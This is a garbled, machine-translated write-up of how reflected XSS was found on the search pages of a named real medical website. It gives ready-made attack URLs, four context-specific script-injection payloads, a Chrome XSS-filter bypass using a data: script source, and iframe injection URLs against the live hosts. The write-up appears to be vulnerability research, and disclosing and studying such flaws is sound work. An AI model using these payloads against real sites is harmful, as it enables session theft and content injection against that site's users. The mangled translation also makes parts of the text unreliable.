Detailed analysis of xss Mining Process and doubt Analysis

1. First, find the URL that may be faulty --
 
Code:
Http://so.haodf.com/all.php? Fromcode = *** & type = *** & q = and the new search page http://search.haodf.com/all.php after optimization? Fromcode = *** & type = *** & q =
2. analyze the characteristics of the URL to see if there is variable parameter separation in the URL, through research, we found that the type parameters here can specify the types such as all, hospital, hospitalfaculty, doctor, aticle, and desease. Fromcode can specify the type of custom, the default is UTF-8, that is to say, ISO8859-1, GBK, utf-7, UTF-8 encoding are allowed, (later tested ), that is to say, we can try to eat some filtering or code bypass through the custom encoding gb2312, we can also conduct obfuscation attacks on it and other cross-site attck.
 
3. Control fromcode unchanged. Construct the type and perform xss testing. After a simple analysis of the source code, when type is set to all, the page shows a difference from other parameters. The code is as follows:
 
Code:
Code: [<a class = "greendesklink" href = "/all. php? Fromcode = UTF-8 & type = article & q = test "> more about test </a>]
We can see that test is the submitted parameter, which is output on the page. The output function can form another XSS. We will explain it below. Here, we can use formation XSS to construct a URL:
 
Code:
Http://so.haodf.com/all.php? Fromcode = UTF-8 & type = all & q = <script> alert (/nandi/) </script>
, IE submitted, successfully triggered xss, played four times in a row, because there are four places on the page where type = all will display it back.
 
When the submit type parameter is equal to all, hosple, hospitalfaculty, doctor, aticle, and desease, except for the difference shown above, the rest are the same, let's look:
 
(Some code is omitted for aesthetic purposes)
 
Code:
Code1: [<title> good doctor online search: test </title>]
Code2: [<input ***** value = "test" *****/>]
Code3: [<a href = "al ** & q = test"> comprehensive </a>]
Code4: [<center> [kw = test (1487) =] </center>] (here is the page output code when type = all)
We construct the corresponding attack parameters in sequence, because they are all output in the HTML attribute, and the website only performs URL encoding for the input, so whatever we enter, it can be triggered successfully, the vendor should enhance the filtering of different pages and prevent secondary rendering problems.
 
Form: http://so.haodf.com/all.php? Fromcode = UTF-8 & type = all & q = exp * or http://search.haodf.com/all.php? ...; Type = all & q = exp *
 
Code:
Exp1: [</title> <script> alert (/nandi/) </script> <title>]
Exp2: ["/> <script> alert (/nandi/) </script> <xss a ="]
Exp3: [a "> <script> alert (/nandi/) </script> <" "]
Exp4: [</center> <script> alert (/nandi/) <center>]
The above test is from IE. When switched to chrome, the console will prompt Refused to execute a JavaScript script. source code of script found within request. the powerful filtering function looks at the source code and finds that the tag attribute of the script already exists in the source webpage. Therefore, the code is constructed:
 
Code:
[<Script src = data:, alert (/nandi/) <! --]
Insert it, and bypass filtering in chrome. xss is displayed.
 
4. After summing up the process, I found a small problem that I had never encountered before when I used iframe for testing, I guess it may be the same-origin policy restriction or nginx configuration restriction.
 
Construct the following parameters:
 
Code:
<Iframe style = "v: expression ()! Important "src =" www.baidu.com "> </iframe>
Use URL1:
 
Code:
Http://search.haodf.com/all.php? Orderby = 1 & q = <iframe style = "v: expression ()! Important "src =" www.baidu.com "> </iframe>
(The frame shows 404 not found)
 
Use URL2:
 
Code:
Http://search.haodf.com/all.php? Orderby = 1 & q = <iframe style = "v: expression ()! Important "src =" www.baidu.com "> </iframe>
(The webpage so.haodf.com is displayed in the framework, that is, the webpage is inserted to Baidu)
 
The End